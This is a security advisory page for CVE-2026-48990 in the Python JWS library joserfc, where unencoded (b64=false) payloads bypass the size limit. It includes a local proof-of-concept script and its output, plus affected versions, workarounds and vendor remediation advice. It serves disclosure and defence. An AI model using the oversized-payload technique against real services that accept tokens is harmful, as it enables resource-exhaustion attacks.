CVE-2026-48990 — joserfc
MEDIUMCVE-2026-48990 is a medium-severity (CVSS 5.3) Uncontrolled Resource Consumption vulnerability in joserfc. A fix is available for joserfc — see the affected versions and patch details below.
joserfc: b64=false RFC7797 JWS payloads bypass JWSRegistry payload-size limits during deserialization
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-48990.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2026-48990 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,333 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
joserfcReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
RFC7797 b64=false JWS payloads bypass JWSRegistry payload-size limits during deserialization
Summary
Testing revealed that joserfc accepts oversized RFC7797 b64=false JWS payloads without applying JWSRegistry.max_payload_length.
The normal JWS compact and flattened JSON paths reject payloads above the configured payload-size limit with ExceededSizeError. The RFC7797 unencoded payload paths do not make the same check. A valid b64=false compact or flattened JSON JWS can therefore deserialize successfully with a payload larger than JWSRegistry.max_payload_length.
This creates a moderate availability/resource-exhaustion risk for applications that accept lower-trust JWS values and rely on joserfc to reject oversized token content during verification.
Affected Product
- Package:
joserfc - Ecosystem:
pip - Audited release:
1.6.5 - Audit tag:
1.6.5 - Audit commit:
881712980934fb601bed26fe3ae1ec0b7780e6f7 - Tested affected releases:
1.3.4,1.3.5,1.4.2,1.6.2,1.6.3,1.6.4,1.6.5 - Fixed release: none known
Vulnerability Details
In joserfc 1.6.5, the default JWS registry has max_payload_length = 128000 and exposes validate_payload_size().
The normal compact extraction path calls that check before base64url-decoding the payload. The RFC7797 compact path validates the header and signature segment sizes, then assigns the unencoded payload directly:
if is_rfc7797_enabled(protected):
if not payload_segment and payload:
payload_segment = to_bytes(payload)
payload = payload_segment
The flattened JSON RFC7797 path has the same pattern:
payload_segment = value["payload"].encode("utf-8")
if is_rfc7797_enabled(member.headers()):
payload = payload_segment
Neither branch calls registry.validate_payload_size(payload_segment) before accepting the unencoded payload.
Reproduction
The proof below uses only local Python APIs. It signs a payload one byte over the default limit and then compares normal JWS behavior with RFC7797 b64=false behavior.
Requirements:
python -m pip install "joserfc==1.6.5"
Run:
python joserfc_rfc7797_size_bypass_poc.py
Self-contained proof script:
#!/usr/bin/env python3
import json
import joserfc
from joserfc import jws
from joserfc.jwk import OctKey
def check_compact(name, header, payload, key):
token = jws.serialize_compact(header, payload, key)
try:
obj = jws.deserialize_compact(token, key)
return {
"case": name,
"accepted": True,
"exception": None,
"payload_len_after_deserialize": len(obj.payload),
}
except Exception as exc:
return {
"case": name,
"accepted": False,
"exception": type(exc).__name__,
"error": str(exc),
}
def check_json(name, protected, payload, key):
data = jws.serialize_json({"protected": protected}, payload, key)
try:
obj = jws.deserialize_json(data, key)
return {
"case": name,
"accepted": True,
"exception": None,
"payload_len_after_deserialize": len(obj.payload),
}
except Exception as exc:
return {
"case": name,
"accepted": False,
"exception": type(exc).__name__,
"error": str(exc),
}
key = OctKey.import_key("secret-secret-secret")
limit = jws.default_registry.max_payload_length
payload = "A" * (limit + 1)
results = {
"joserfc_version": joserfc.__version__,
"default_max_payload_length": limit,
"payload_len": len(payload),
"compact": [
check_compact("normal_b64_true", {"alg": "HS256"}, payload, key),
check_compact(
"rfc7797_b64_false",
{"alg": "HS256", "b64": False, "crit": ["b64"]},
payload,
key,
),
],
"json": [
check_json("normal_b64_true_json", {"alg": "HS256"}, payload, key),
check_json(
"rfc7797_b64_false_json",
{"alg": "HS256", "b64": False, "crit": ["b64"]},
payload,
key,
),
],
}
print(json.dumps(results, indent=2, sort_keys=True))
Expected output on 1.6.5 includes:
{
"default_max_payload_length": 128000,
"payload_len": 128001,
"compact": [
{
"case": "normal_b64_true",
"accepted": false,
"exception": "ExceededSizeError"
},
{
"case": "rfc7797_b64_false",
"accepted": true,
"exception": null,
"payload_len_after_deserialize": 128001
}
],
"json": [
{
"case": "normal_b64_true_json",
"accepted": false,
"exception": "ExceededSizeError"
},
{
"case": "rfc7797_b64_false_json",
"accepted": true,
"exception": null,
"payload_len_after_deserialize": 128001
}
]
}
Version Checks
I reproduced the same differential behavior on these releases:
| Version | Normal JWS over limit | RFC7797 b64=false over limit |
|---|---|---|
| 1.3.4 | ExceededSizeError | accepted |
| 1.3.5 | ExceededSizeError | accepted |
| 1.4.2 | ExceededSizeError | accepted |
| 1.6.2 | ExceededSizeError | accepted |
| 1.6.3 | ExceededSizeError | accepted |
| 1.6.4 | ExceededSizeError | accepted |
| 1.6.5 | ExceededSizeError | accepted |
The exact earliest affected release may be broader. The versions above are the releases I directly tested where the JWS size-limit boundary exists and the RFC7797 path bypasses it.
Relationship to Existing Advisories
I found two related public advisories for joserfc, but neither appears to cover this root cause.
GHSA-frfh-8v73-gjg4 / CVE-2025-65015 describes oversized token parts being included in ExceededSizeError messages in older release ranges. The issue described here reproduces in 1.6.5 and is not about exception message content. The oversized RFC7797 payload is accepted instead of raising ExceededSizeError.
GHSA-w5r5-m38g-f9f9 / CVE-2026-27932 describes unbounded PBES2 p2c iteration counts during JWE decryption. The issue described here is in JWS RFC7797 payload extraction and does not involve PBES2 or JWE decryption.
Workarounds
Before a fixed release is available, affected applications can reduce exposure by rejecting oversized serialized JWS inputs before passing them to joserfc, disabling or disallowing RFC7797 b64=false tokens if not needed, and enforcing strict request/header/body size limits at the application or reverse-proxy layer.
Suggested Remediation
Apply registry.validate_payload_size(payload_segment) to RFC7797 unencoded payloads before assigning them to the JWS object in both compact and flattened JSON extraction paths. Detached RFC7797 compact payloads supplied through the payload argument should be checked in the same way.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | joserfc | ≥ 1.3.4&&< 1.6.7 | 1.6.7pip install --upgrade 'joserfc==1.6.7' |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for joserfc, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update joserfc to 1.6.7 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-48990 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-48990 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-48990. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Fixing This On Your OS
If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.
| Product | Fixed in | Advisory |
|---|---|---|
| Red Hat Ansible Automation Platform 2.6 | ansible-automation-platform-26/lightspeed-chatbot-rhel9:1785646188 | RHSA-2026:50479 |
| Red Hat Ansible Automation Platform 2.7 | ansible-automation-platform-27/lightspeed-chatbot-rhel9:1785426734 | RHSA-2026:50340 |
| Red Hat Hardened Images | jaeger-main-2.19.0-1.hum1 | RHSA-2026:25039 |
| Red Hat Migration Toolkit for Applications 8.2 | mta/mta-solution-server-rhel9:1784109883 | RHSA-2026:43038 |
Frequently Asked Questions
Is CVE-2026-48990 in your dependencies?
O3 Security finds CVE-2026-48990 across PyPI dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.